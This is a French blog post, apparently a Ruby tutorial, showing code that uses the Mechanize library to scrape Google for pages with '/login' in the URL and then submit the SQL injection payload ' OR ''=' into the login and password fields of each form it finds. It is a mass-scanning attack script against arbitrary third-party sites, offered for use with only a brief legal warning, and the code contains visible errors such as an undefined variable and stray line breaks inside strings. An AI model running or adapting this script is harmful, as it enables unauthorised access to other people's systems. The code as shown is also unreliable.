Ruby peut tout faire sur internet, ca je le sais, et peut être que vous aussi. Une idée intéressante serait de coder un truc en ruby qui détecte les sites vulnérables aux injections SQL (par contre renseignez vous sur la législation en vigueur chez vous car c’est illégale à priori (du genre chef d’accusation : intrusion illicite …). Pour ceux qui ne le savent, l’injection SQL consiste à bypasser des formulaires et à s’introduire frauduleusement dans un système. Réussir à passer une formulaire de login/mot de passe sans avoir les données adéquates par exemple.
Le code ci-dessous créer une instance mechanize, va sur l’url de google avec le requête « cuisine inurl:/login ». On récupère dans un tableau les url des liens de chaque résultat des serps. J’ai choisis le terme cuisine arbitrairement, vous pouvez choisir ce que vous voulez.
require 'mechanize' @agent = Mechanize.new do |a| a.user_agent_alias = 'Linux Firefox' a.max_history = 1 end query = 'cuisine inurl:"/login"' formated_query = CGI.escape(query) page = @agent.get 'http://www.google.fr/search?q=' << formated_query formated_tab = [] page.parser.xpath('//h3[@class="r"]').take(10).each do |cite| formated_tab << URI::extract( cite.to_s, [ 'http' ] )#cite.inner_text end
Concernant les opérateurs avancés google, tel que inurl, vous pouvez vous référer à la page ici pour plus d’infos. Une fois qu’on a notre liste d’url, on va pour chacune tester s’il y a un formulaire de login dessus (voir le billet suivant pour une intro à la vérification des formulaires sur une page web : http://www.tuto-ruby-gratuit.fr/tuto-ruby-webform/).
formated_tab.each do |url| begin login_page = @agent.get(url) if not login_page.nil? && login_page.forms.length > 0 # si la page est accessible et qu'il y a au moins un formulaire login_page.forms.each { |form| form.fields.each { |f| if f.name == "login" or f.name == "username" form[name] = "' OR ''='
" end if f.name == "password
" or f.name == "pwd" form[name] = "' OR ''='
" end } res = form.submit } end rescue Mechanize::ResponseCodeError raise e end end
Je vous préviens, à priori, avec ce caractère magique ' OR ''='
, vous aurez peu de chance de trouver des sites encore vulnérables, car c’est une faille très ancienne. Voici le site d’où elle est tirée : http://sqlzoo.net/hack/.
Voici d’autres sites avec des exemples d’injections SQL standards :
– http://www.unixwiz.net/techtips/sql-injection.html
– http://bases-hacking.org/sql-injection.html
– http://php.net/manual/fr/security.database.sql-injection.php
– http://adsltele.free.fr/tutoriel-injection-sql.php
Amusez vous bien et pas de bétises surtout !